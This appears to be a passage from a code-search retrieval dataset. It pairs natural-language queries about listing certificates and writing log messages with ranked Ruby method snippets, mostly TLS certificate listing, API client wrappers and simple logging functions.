"docid": "645e5e92da72cfe1aa13081c6d545fdb",
"score": "0.5827173",
"text": "def ssl_certs\n requires :identity\n\n service.ssl_certs.all(identity)\n end",
"title": ""
},
{
"docid": "6244ed8e1d42c99ecddb118092dffada",
"score": "0.58175015",
"text": "def index\n @certificate_types = CertificateType.all\n end",
"title": ""
},
{
"docid": "de98837ca920a3824b3ed7ad3f692ec9",
"score": "0.5732626",
"text": "def index\n if params[:s]\n @certificates = Certificate.where('number = ?', params[:s])\n else\n @certificates = Certificate.all\n end\n end",
"title": ""
},
{
"docid": "34b776aa114ceaa42cc64f6a6e36ab4a",
"score": "0.5601258",
"text": "def index\n @certifications = Certification.visible :view_certifications\n end",
"title": ""
},
{
"docid": "8299d8d4e1ef7636fad20de363b818d6",
"score": "0.5598898",
"text": "def list_courses(courses_collection)\n courses_collection.each do |course|\n\n end\n end",
"title": ""
},
{
"docid": "84095d151e2cea49133fe50dd307ef19",
"score": "0.5588952",
"text": "def index\n @certifications_members = CertificationsMember.all\n end",
"title": ""
},
{
"docid": "3688cd3ffb0581b801824eda956eafb0",
"score": "0.557219",
"text": "def get_tls_bulk_cert(opts = {})\n data, _status_code, _headers = get_tls_bulk_cert_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "dfe51c2ffd77b289551003238d9d25a9",
"score": "0.5561464",
"text": "def index\n @certifications = @certifications.sort_by(&:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @certifications }\n end\n end",
"title": ""
},
{
"docid": "c313652ad8abf519bd1a6ee18276228a",
"score": "0.5553759",
"text": "def certificate_list\n return @cert_list unless @cert_list.nil?\n cmd = <<-EOF\n $certs_list = Get-Item '#{resource[:cert_dir]}\\\\*' | Where-object { $_.FriendlyName -eq '#{resource[:cert_name]}' }\n if ($certs_list) {\n $data = @()\n foreach ($cert in $certs_list) {\n # don't put this in one big expression, this way powershell throws an error on the specific\n # line that is having a problem, not the beginning of the expression\n $data += @{\n 'not_after'= $cert.NotAfter.ToString(\"o\"); # Convert to ISO format\n 'not_before' = $cert.NotBefore.ToString(\"o\");\n 'serial_number' = $cert.SerialNumber;\n 'thumbprint' = $cert.Thumbprint;\n }\n }\n # powershell is dumb and will \"unbox\" a single-element array and return just the elemtn\n # we really want an array though... thanks PowerShell...\n ConvertTo-Json @($data)\n }\n EOF\n res = ps(cmd)\n Puppet.debug('parsing cert json')\n Puppet.debug(\"got output: #{res}\")\n # add to check for truthy stdout because, if the cert doesn't exist the output\n # could be nil / empty string\n @cert_list = if res[:exitcode].zero? && res[:stdout]\n JSON.parse(res[:stdout])\n else\n false\n end\n Puppet.debug(\"finished getting cert list: #{@cert_list}\")\n @cert_list\n end",
"title": ""
},
{
"docid": "fdfd051d2a56f5c2417b555057059a99",
"score": "0.5548169",
"text": "def list_tls_subs(opts = {})\n data, _status_code, _headers = list_tls_subs_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "40d055e3e9971fa43d9e6b7a67b5f5ef",
"score": "0.5524518",
"text": "def cert_chain\n service = Service.find(params[:id])\n response = service.certificate.full_chain(true)\n render json: response\n end",
"title": ""
},
{
"docid": "05fd31ea6814b99fedb9a90eced8d03d",
"score": "0.55174375",
"text": "def index\n @certificadoriesgos = Certificadoriesgo.all\n end",
"title": ""
},
{
"docid": "5b28fa97811b0258f912b65b8575a9ea",
"score": "0.5486341",
"text": "def refresh\n res = @client.get(@url)\n match = res.headers[\"cache-control\"]&.match(/max-age=([0-9]+)/)\n ttl = match&.captures&.first&.to_i || 0\n certificates = res.body\n [certificates, ttl]\n rescue => e\n raise CertificateRequestError, e.message\n end",
"title": ""
},
{
"docid": "61adf96fa9325a7bbb48db0e37007a4b",
"score": "0.5426564",
"text": "def private_certificates\n certificates.select do |cert|\n cert.company.instance_of? Company::PrivateCompany\n end\n end",
"title": ""
},
{
"docid": "2b25432c5b1ab2a6f98ad927224835f1",
"score": "0.54178935",
"text": "def list_tls_crls(opts = {})\n data, _status_code, _headers = list_tls_crls_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "b203eda9563da93d9a3f7dc567bbd297",
"score": "0.54168266",
"text": "def courses\n request(COURSES_URL, {}, 'GET').map do |course|\n Course.new(self, course)\n end\n end",
"title": ""
},
{
"docid": "3dc268575f6b6c41f4466068a2bb4b51",
"score": "0.5380923",
"text": "def list\n @keychain.keys\n end",
"title": ""
},
{
"docid": "b89715ee8d569e179bfb041434e1fa61",
"score": "0.5365973",
"text": "def get_kubernetes_catalog_list(opts = {})\n data, _status_code, _headers = get_kubernetes_catalog_list_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "7f1c39c696df0c6398b0f8df08b76d16",
"score": "0.53145957",
"text": "def index\n\t\t@courses = Course.all\n\tend",
"title": ""
},
{
"docid": "1ebaaf55549b10722744f5b4b5f08b38",
"score": "0.52734655",
"text": "def certificate_types\n @certificate_types ||= get('ssl/v1/types')\n end",
"title": ""
},
{
"docid": "62d0b647b8e148b2870e23b9dea1a077",
"score": "0.52732533",
"text": "def convert_certs_list_to_X509(certs_list)\n x509_certs_list = []\n certs_list.each do |cert|\n x509_certs_list.push OpenSSL::X509::Certificate.new(cert)\n end\n x509_certs_list\n end",
"title": ""
},
{
"docid": "c75898c45f37dd33a6059c23134e432d",
"score": "0.5258741",
"text": "def certificate_chain\n data.certificate_chain\n end",
"title": ""
},
{
"docid": "400b928a44722f227613f163816550ce",
"score": "0.52586293",
"text": "def all\n get(\"#{domain}/complaints\")\n end",
"title": ""
},
{
"docid": "a838fe5d49d472323c17c5c6d99876d9",
"score": "0.5252352",
"text": "def index\n\t\t@courses = Course.all\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @courses }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "71a493ef7dc7e75533086f031bfe7714",
"score": "0.5248475",
"text": "def report opts = { certificateStatus: :any }\n # Default is to request any certificate status since the API call will fail if no\n # options are passed\n opts = { certificateStatus: :any } if opts.empty?\n opts = _parse_report_opts(opts)\n\n post('report/v1/ssl-certificates', opts)['reports']\n end",
"title": ""
},
{
"docid": "fe7df033944544291141ea0b7bb4b8ea",
"score": "0.5248162",
"text": "def to_s\n '#<Twilio.Messaging.V1.DomainCertsList>'\n end",
"title": ""
},
{
"docid": "0d916ee685515bf5aa39d4a5e5324f37",
"score": "0.5241748",
"text": "def to_s\n '#<Twilio.Messaging.V1.DomainCertsList>'\n end",
"title": ""
},
{
"docid": "28a568d81f5d7bd17a22732a433cb777",
"score": "0.5240101",
"text": "def get_courses(opts = {})\n data, _status_code, _headers = get_courses_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "60ee302e4d78c4017e11c22d0e5240a1",
"score": "0.52265227",
"text": "def courses_all\n call_path = \"courses/all\"\n data = build_post_data(\"\")\n perform_post(build_url(call_path), data)\n end",
"title": ""
},
{
"docid": "1b4a4dc3ed4a41bd6c75b5f3262d2be1",
"score": "0.5217731",
"text": "def list(page: 1, per_page: 50, order: 'priority', direction: 'asc', match: 'all')\n raise (\"order must be one of #{VALID_ORDERS}\") unless VALID_ORDERS.include?(order)\n raise ('direction must be asc || desc') unless (direction == 'asc' || direction == 'desc')\n raise ('match must be all || any') unless (match == 'any' || match == 'all')\n params = {page: page, per_page: per_page}\n params[:match] = match\n params[:direction] = direction\n cf_get(path: \"/zones/#{zone_id}/custom_certificates\", params: params)\n end",
"title": ""
},
{
"docid": "b387db52308ba4e857af168620e8cd18",
"score": "0.51847506",
"text": "def index\n @certainties = Certainty.all\n end",
"title": ""
},
{
"docid": "e3d7d88c0fbddd5e7c23e1bce8684a03",
"score": "0.5142016",
"text": "def keycerts; end",
"title": ""
},
{
"docid": "6c12017e142e485173c12dea5be36561",
"score": "0.5135212",
"text": "def fetch_ssl_certificates\n run_command(\"ssl fetch\")\n rescue Runner::Exceptions::KnifeCommandFailed => e\n raise Runner::Exceptions::CertFetchFailed.new(e.message)\n end",
"title": ""
},
{
"docid": "af3248b0f4b043f2be88a4701096bd82",
"score": "0.5133511",
"text": "def prepare_list\n UI.message(\"Fetching certificates and profiles...\")\n cert_type = Match.cert_type_sym(type)\n cert_types = [cert_type]\n\n prov_types = []\n prov_types = [:development] if cert_type == :development\n prov_types = [:appstore, :adhoc, :developer_id] if cert_type == :distribution\n prov_types = [:enterprise] if cert_type == :enterprise\n\n # Get all iOS and macOS profile\n self.profiles = []\n prov_types.each do |prov_type|\n types = profile_types(prov_type)\n # Filtering on 'profileType' seems to be undocumented as of 2020-07-30\n # but works on both web session and official API\n self.profiles += Spaceship::ConnectAPI::Profile.all(filter: { profileType: types.join(\",\") })\n end\n\n # Gets the main and additional cert types\n cert_types += (params[:additional_cert_types] || []).map do |ct|\n Match.cert_type_sym(ct)\n end\n\n # Gets all the certs form the cert types\n self.certs = []\n self.certs += cert_types.map do |ct|\n certificate_type(ct).flat_map do |cert|\n Spaceship::ConnectAPI::Certificate.all(filter: { certificateType: cert })\n end\n end.flatten\n\n # Finds all the .cer and .p12 files in the file storage\n certs = []\n keys = []\n cert_types.each do |ct|\n certs += self.storage.list_files(file_name: ct.to_s, file_ext: \"cer\")\n keys += self.storage.list_files(file_name: ct.to_s, file_ext: \"p12\")\n end\n\n # Finds all the iOS and macOS profofiles in the file storage\n profiles = []\n prov_types.each do |prov_type|\n profiles += self.storage.list_files(file_name: prov_type.to_s, file_ext: \"mobileprovision\")\n profiles += self.storage.list_files(file_name: prov_type.to_s, file_ext: \"provisionprofile\")\n end\n\n self.files = certs + keys + profiles\n end",
"title": ""
},
{
"docid": "14ffe9bc490e044fdb5de620207f8938",
"score": "0.51333827",
"text": "def keycert_files; end",
"title": ""
},
{
"docid": "771f0e77eb82b408876c986209c819db",
"score": "0.51202255",
"text": "def index\n @certification_schemes = CertificationScheme.order(:code)\n end",
"title": ""
},
{
"docid": "a3f6eef18c5efdb371f92f923ab6727a",
"score": "0.51097953",
"text": "def list\n cf_get(path: \"#{uri_prefix}/virtual_dns\")\n end",
"title": ""
},
{
"docid": "892aa89c849d9405ec78d653782991b3",
"score": "0.51057047",
"text": "def list(selection=nil)\n\n env.config.providers.each do |name,provider|\n env.ui.info(\"Asking provider #{name} to list keystore #{selection}\")\n provider.keystore_list(selection,options)\n end\n end",
"title": ""
},
{
"docid": "3b2333b8423b4d942eddb82a1a6c3d47",
"score": "0.5092968",
"text": "def list_tls_certificates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyInfraCertificatesCertificatesApi.list_tls_certificates ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraCertificatesCertificatesApi.list_tls_certificates, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraCertificatesCertificatesApi.list_tls_certificates, must be greater than or equal to 0.'\n end\n\n if @api_client.config.client_side_validation && opts[:'type'] && !['cluster_api_certificate'].include?(opts[:'type'])\n fail ArgumentError, 'invalid value for \"type\", must be one of cluster_api_certificate'\n end\n # resource path\n local_var_path = '/global-infra/certificates'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'details'] = opts[:'details'] if !opts[:'details'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n query_params[:'type'] = opts[:'type'] if !opts[:'type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TlsCertificateList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyInfraCertificatesCertificatesApi#list_tls_certificates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "4361890eaa5e602bdb42105b2033eb70",
"score": "0.50914526",
"text": "def list(options={})\n Mailgun.submit(:get, complaint_url, options)[\"items\"] || []\n end",
"title": ""
},
{
"docid": "428f43fee24fceddc78161bd57ba0fb2",
"score": "0.5081096",
"text": "def list(opts = {})\n data, _status_code, _headers = list_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "428f43fee24fceddc78161bd57ba0fb2",
"score": "0.5081096",
"text": "def list(opts = {})\n data, _status_code, _headers = list_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "428f43fee24fceddc78161bd57ba0fb2",
"score": "0.5081096",
"text": "def list(opts = {})\n data, _status_code, _headers = list_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "428f43fee24fceddc78161bd57ba0fb2",
"score": "0.5081096",
"text": "def list(opts = {})\n data, _status_code, _headers = list_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "428f43fee24fceddc78161bd57ba0fb2",
"score": "0.5078519",
"text": "def list(opts = {})\n data, _status_code, _headers = list_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "2068c0b375c7008a6189d17502e6f7f1",
"score": "0.5066149",
"text": "def list_acls(opts = {})\n data, _status_code, _headers = list_acls_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "86ffd703cfa6339e1f36ee074f47bb38",
"score": "0.50430524",
"text": "def list\n url = prefix + \"list\"\n return response(url)\n end",
"title": ""
},
{
"docid": "a8b62a3a1799cbfdb7e6d3a7139fdea4",
"score": "0.50336075",
"text": "def list_tls_crls_0(opts = {})\n data, _status_code, _headers = list_tls_crls_0_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "e5c5d4ed4c4a439c88a2e3183978de48",
"score": "0.50301564",
"text": "def index\n @certifieds = Certified.where(user: self.current_user)\n end",
"title": ""
},
{
"docid": "027c2c238e725695031be66ed70efca7",
"score": "0.5025518",
"text": "def list_catalog(opts = {})\n data, _status_code, _headers = list_catalog_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "2485bdb9d3ce44d1da1c7fbba069c0b3",
"score": "0.50109184",
"text": "def authorizations_list(opts = {})\n data, _status_code, _headers = authorizations_list_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "5b9b020fedf317318a7aa7cb157ef257",
"score": "0.5010566",
"text": "def extended_ssl_certificates(name)\n ssl_certificates(name).extend(OpenSSLExtensions::X509::Certificate)\n end",
"title": ""
},
{
"docid": "5df9a283df309d30bab952daad9f844f",
"score": "0.5005057",
"text": "def conference_list(params)\n path = @version + '/Conference/List/'\n method = 'POST'\n return request(path, method, params)\n end",
"title": ""
},
{
"docid": "308a30ab8ed531445b238dd5e91890e3",
"score": "0.5003528",
"text": "def list\n url = prefix + \"list\"\n return response(url)\n end",
"title": ""
},
{
"docid": "835ed2b591872e88550473c449707049",
"score": "0.49963042",
"text": "def list_keychains(params: {})\n call :get, '/keychain', params\n end",
"title": ""
},
{
"docid": "1edb69a2d15609b4a7606214e830dacd",
"score": "0.49889752",
"text": "def list_tls_certificates_0_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyInfraCertificatesCertificatesApi.list_tls_certificates_0 ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraCertificatesCertificatesApi.list_tls_certificates_0, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraCertificatesCertificatesApi.list_tls_certificates_0, must be greater than or equal to 0.'\n end\n\n if @api_client.config.client_side_validation && opts[:'type'] && !['cluster_api_certificate'].include?(opts[:'type'])\n fail ArgumentError, 'invalid value for \"type\", must be one of cluster_api_certificate'\n end\n # resource path\n local_var_path = '/infra/certificates'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'details'] = opts[:'details'] if !opts[:'details'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n query_params[:'type'] = opts[:'type'] if !opts[:'type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TlsCertificateList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyInfraCertificatesCertificatesApi#list_tls_certificates_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "772314e51f0448dca6103650fa3cec99",
"score": "0.49874032",
"text": "def list(options = {})\n @client.get('domains', options).to_h['items']\n end",
"title": ""
},
{
"docid": "a0f3a7dd4992453908fc37b16735ce8d",
"score": "0.4976131",
"text": "def list(options={})\n response = Mailgun.submit(:get, list_url, options)[\"items\"] || []\n end",
"title": ""
},
{
"docid": "6c4a25ec285942da008d2983897a6af0",
"score": "0.49740142",
"text": "def list\n call(:get, path)\n end",
"title": ""
},
{
"docid": "d5359887716fdc5af06a141358345796",
"score": "0.49715292",
"text": "def list(opts = {})\n data, _status_code, _headers = list_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "fb4278e22682cd6abe52bc20be8f5f0a",
"score": "0.49700487",
"text": "def get_crls(opts = {})\n data, _status_code, _headers = get_crls_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "c84aef800891a203a27f443076830c08",
"score": "0.49622327",
"text": "def certificate\n _get_certificate\n end",
"title": ""
},
{
"docid": "f4e8345c2cbdeb5078876fe1a9b9c136",
"score": "0.49578512",
"text": "def list_tls_keys(opts = {})\n data, _status_code, _headers = list_tls_keys_with_http_info(opts)\n data\n end",
"title": ""
}
] |
fabf61253e7fc77324e19c9f0b5d11e1 | Writes a normal message to STDOUT and logs to the file. | [
{
"docid": "481699ecc0a5d65130e326f7bac176bf",
"score": "0.721507",
"text": "def write(message)\n log message\n STDOUT.puts message\n end",
"title": ""
}
] | [
{
"docid": "527ef0e5ba3facb72b17cc7d648d246a",
"score": "0.6854911",
"text": "def logging msg\n File.open(@log_file, \"a\"){|f|\n f.puts \"[#{Time.now}] #{$0}: #{msg}\"\n }\n end",
"title": ""
},
{
"docid": "b000b504cddb6778c75f56727db40b4e",
"score": "0.6829888",
"text": "def write\n File.open(File.join(ROOT_DIR,'log','notice.log'),'w'){|f| f.write @message}\n end",
"title": ""
},
{
"docid": "8ecf6f6cda131a400d9ef20df7e2dec8",
"score": "0.66878104",
"text": "def write\n\t\t\tputs \"#{@level}: #{@message}\"\n\t\tend",
"title": ""
},
{
"docid": "86386912c87a030e07b1c1f2df4cc918",
"score": "0.6665263",
"text": "def write_log( message )\n \n File.open('m_log.txt', \"a\") do |l_file| \n l_file << \"\\n\" << Time.now.to_s << \": \" << message\n end\n \n end",
"title": ""
},
{
"docid": "2b5874f3c0dd23106e133d5ed6999196",
"score": "0.6626662",
"text": "def log(msg)\n puts msg\n File.open(@log_file, 'a') { |f| f.puts \"[ #{Time.now.utc.strftime('%F %T.%L')} ] - [ PID #{Process.pid} ] - #{msg}\" }\n end",
"title": ""
},
{
"docid": "d5a5c1b37fc668acce38f354d6f83566",
"score": "0.657729",
"text": "def log(message)\n File.open(@Filename, \"a\") do |fh| \n fh.puts(message)\n end \n end",
"title": ""
},
{
"docid": "4bf563b0f876d77edc4eeb27f699d26d",
"score": "0.65182275",
"text": "def log_message(msg, color = nil, log_file = 'out.txt')\n if color.nil?\n shell.say(msg)\n else\n shell.say(msg, color)\n end\n File.open(log_file, 'a') { |f| f.puts(msg) }\n end",
"title": ""
},
{
"docid": "13d86f4db34ce4b431d98e95e5644ae5",
"score": "0.6500198",
"text": "def log(msg)\n if @stdlog\n @stdlog.puts(\"[#{Time.new.ctime}] %s\" % msg)\n @stdlog.flush\n end\n end",
"title": ""
},
{
"docid": "339438b781b78bf8ae7889e096a4def1",
"score": "0.64909875",
"text": "def write(msg, level = :info)\n $stderr.puts msg if LOG_LEVELS[level] >= @log_level\n end",
"title": ""
},
{
"docid": "cca5cb8b25308d5ea99f18d6362ba10d",
"score": "0.64676666",
"text": "def write_to_log(msg)\n @application.server.write_to_log_file(false, msg)\n end",
"title": ""
},
{
"docid": "6f7c3a3402c273535f0b3c09b9956004",
"score": "0.6456178",
"text": "def write_output(message)\n STDOUT.puts(message)\n end",
"title": ""
},
{
"docid": "20eba34d09f71e7f96544086b5171a81",
"score": "0.6431116",
"text": "def log(msg)\n File.open(File.dirname(__FILE__) + \"/log.txt\", \"a+\") do |f|\n f.puts msg\n end\nend",
"title": ""
},
{
"docid": "19c1e9aa8cf499b9a3749bc3c5f3d2a0",
"score": "0.6416731",
"text": "def log(msg)\n complete_msg = \"[ #{Time.now.strftime('%F %T')} ] - [ #{self.class.name.split('::').last} ] - #{msg}\"\n Logger.stdout_io << \"#{complete_msg}\\n\"\n File.open(Logger.log_file, 'a') do |f|\n f.puts complete_msg\n end\n end",
"title": ""
},
{
"docid": "09a23a299ffe07065a01395f39b0d583",
"score": "0.641639",
"text": "def none(message='')\n @logfile.write(\"#{Time.now} #{message}\\n\")\n @logfile.rewind\n end",
"title": ""
},
{
"docid": "e1649cb9c152e43f31a54d5971054cd0",
"score": "0.64126664",
"text": "def write(msg)\n self.output.puts(msg)\n end",
"title": ""
},
{
"docid": "a22887340cd675c590fe44300a85f15a",
"score": "0.63953936",
"text": "def log(txt, level = \"INFO\")\n puts log_message(txt, level)\n unless @output_file.nil?\n @fil = File.open(@output_file,\"a\") if @fil.nil?\n @fil.puts(log_message(txt, level))\n @fil.flush\n #fil.close\n end\n end",
"title": ""
},
{
"docid": "5e9f6f128daad8d98ee9c94e1386224d",
"score": "0.6381534",
"text": "def write(message)\n @logger.info message\n end",
"title": ""
},
{
"docid": "5201ff47ac56b6dcf79c4978c1a44277",
"score": "0.63725364",
"text": "def write(message)\n old_write(message)\n puts message\n end",
"title": ""
},
{
"docid": "42b38aea7ce6c35d83015867272539c5",
"score": "0.6359962",
"text": "def log(message)\n\t\t\tputs message\n $stdout.flush\n\t\tend",
"title": ""
},
{
"docid": "23b8b57911612f61178d739c1bbab829",
"score": "0.6357935",
"text": "def out(msg)\n Logger.stdout_io << \"#{msg}\\n\"\n end",
"title": ""
},
{
"docid": "7e9df0738662b5e663de5bd3718a9533",
"score": "0.63511926",
"text": "def write( message )\n\t\tunless self.logdev.nil?\n\t\t\tself.add( Logger::INFO, message )\n\t\tend\n\tend",
"title": ""
},
{
"docid": "c0156f2ade5d1d40f4a93079308ebdc6",
"score": "0.6341286",
"text": "def write_to_log(level, message)\n\t\t\twrite_to_file(\"#{timestamp},#{level},#{message.to_s}\\n\")\n\t\tend",
"title": ""
},
{
"docid": "876079fd646bf484a739769c4ba53968",
"score": "0.63335985",
"text": "def print(message)\n out.print(message) unless silent?\n end",
"title": ""
},
{
"docid": "876079fd646bf484a739769c4ba53968",
"score": "0.63335985",
"text": "def print(message)\n out.print(message) unless silent?\n end",
"title": ""
},
{
"docid": "86969a4d6d1fc9dc29ecfc4fa8885762",
"score": "0.6324835",
"text": "def print(message)\n log message\n STDOUT.print message\n end",
"title": ""
},
{
"docid": "ac0dd6b05ffac852405238dfadc01c25",
"score": "0.6324647",
"text": "def write(message)\n @logger.debug message\n end",
"title": ""
},
{
"docid": "515e8044bca88adb1e5da805d29a32f5",
"score": "0.6319744",
"text": "def write_to_log(level, message)\n\t\t\twrite_to_file(\"[#{timestamp}] #{level}: #{message.to_s}\\n\")\n\t\tend",
"title": ""
},
{
"docid": "490201ea30d9f3f23111d1fdc868fbd5",
"score": "0.6299893",
"text": "def log msg\n File.open('pi_analysis_log.txt','a') { |f| f.puts \"#{Time.now} : #{msg}\"}\n #puts \"---- LOG ----\"\n puts msg\n #puts \"---- *** ----\"\nend",
"title": ""
},
{
"docid": "17a35f1a44e7df96b83d3b1cec2c470b",
"score": "0.62980705",
"text": "def write(text=\"\")\n puts text if @verbose\n end",
"title": ""
},
{
"docid": "479640138e013b11a3ee18be54282c3a",
"score": "0.6290552",
"text": "def server_write(msg)\n STDOUT.write msg\n end",
"title": ""
},
{
"docid": "36e16aa6aa54542c2028e48c55825607",
"score": "0.6277942",
"text": "def log(msg)\n puts msg unless Logging.silent?\n end",
"title": ""
},
{
"docid": "36e16aa6aa54542c2028e48c55825607",
"score": "0.6277942",
"text": "def log(msg)\n puts msg unless Logging.silent?\n end",
"title": ""
},
{
"docid": "a80bf598761d111c59b99cec7c4060ea",
"score": "0.6272486",
"text": "def log(message)\n File.open(\"./status\", \"a\") { |f| f.write(message + \"\\n\") }\n end",
"title": ""
},
{
"docid": "f72abc92b9cab0fefac3f4e36db3511a",
"score": "0.6272405",
"text": "def puts(message = '')\n out.puts(message) unless silent?\n end",
"title": ""
},
{
"docid": "f72abc92b9cab0fefac3f4e36db3511a",
"score": "0.6272405",
"text": "def puts(message = '')\n out.puts(message) unless silent?\n end",
"title": ""
},
{
"docid": "1e10029563bb6377e1c78959a730b7c6",
"score": "0.6270928",
"text": "def output( message )\n if @outfile.nil?\n puts message\n else\n @outfile.puts message\n end\n $stdout.flush\nend",
"title": ""
},
{
"docid": "49105f53fd904df284d4118b7a8d6bea",
"score": "0.6265275",
"text": "def log(txt, level = \"INFO\", output_file = nil)\n safe_txt = privatize(txt)\n @output_file = output_file unless output_file.nil?\n puts log_message(safe_txt, level)\n unless @output_file.nil?\n @fil = File.open(@output_file,\"a\") if @fil.nil?\n @fil.puts(log_message(safe_txt, level))\n @fil.flush\n #fil.close\n end\n end",
"title": ""
},
{
"docid": "f7ad4d22cb784632ca29401a80d9caaf",
"score": "0.6232042",
"text": "def write(message)\n log(:info, message)\n end",
"title": ""
},
{
"docid": "e35cb5445849835d478a15d28b8c94d0",
"score": "0.623177",
"text": "def write_plain_log(messageType, message)\n @_streams.each { |stream|\n stream.puts(\"#{(Time.now()).strftime(@_datetimeformat)}, #{messageType}, #{message}\")\n \n if (stream == STDOUT || stream == STDERR)\n stream.flush\n end\n }\n end",
"title": ""
},
{
"docid": "4a32a78ca1aa22837fb665123f1334fd",
"score": "0.6231696",
"text": "def write(message)\n @logfile.write(message) unless @logfile.nil?\n @ws.send(message)\n end",
"title": ""
},
{
"docid": "8d403f9b1191bfdd72309468b870698a",
"score": "0.6231004",
"text": "def info(message='')\n @logfile.write(\"#{Time.now}#{INFO}#{message}\\n\")\n @logfile.rewind\n end",
"title": ""
},
{
"docid": "c4666444ec4cd6cb134f8f96c87bf9ba",
"score": "0.6219734",
"text": "def message(msg)\n STDOUT.puts msg\n STDOUT.flush\n end",
"title": ""
},
{
"docid": "c42b0085f46790b8c7772eaaa2e43e1f",
"score": "0.6217859",
"text": "def log_message(message)\n File.open($log_file, \"a\") { |f|\n f.puts \"#{Time.now} --- #{message.to_s}\"\n }\nend",
"title": ""
},
{
"docid": "c2c7552c3339189183663461e12911ff",
"score": "0.6185546",
"text": "def log(msg)\n f = File.open(LOGFILE, 'a')\n f.write msg\n # f.write \"#{log_time} #{msg}\"\n f.close\n end",
"title": ""
},
{
"docid": "61d9a61f902ce1b3c08b8039969f75d2",
"score": "0.61706334",
"text": "def log name, msg, reset=false\n flag = reset ? 'w' : 'a'\n File.open(File.join(RubSub::LOG_DIR,\"#{name}.log\"), flag) do |f|\n f.write(msg + \"\\n\")\n end\n end",
"title": ""
},
{
"docid": "559a7a78dca99e35a391ec33aa17e223",
"score": "0.616689",
"text": "def log!(level, message)\n if RAILS_ENV == \"production\" and [:error, :fatal].include?(level)\n self.logger.send(level, message)\n RAILS_DEFAULT_LOGGER.send(level, \"** [Scout] %s\" % message)\n RAILS_DEFAULT_LOGGER.flush\n end\n self.stderr.send(level, message)\n end",
"title": ""
},
{
"docid": "0c20e862aec9ec3da2d6733fb8c8382d",
"score": "0.6165973",
"text": "def success(message='')\n @logfile.write(\"#{Time.now}#{SUCCESS}#{message}\\n\")\n @logfile.rewind\n end",
"title": ""
},
{
"docid": "ff6288623ae00364a7b3f88a79832858",
"score": "0.61655015",
"text": "def output(message)\n Noop::Utils.output message\n end",
"title": ""
},
{
"docid": "ff6288623ae00364a7b3f88a79832858",
"score": "0.61655015",
"text": "def output(message)\n Noop::Utils.output message\n end",
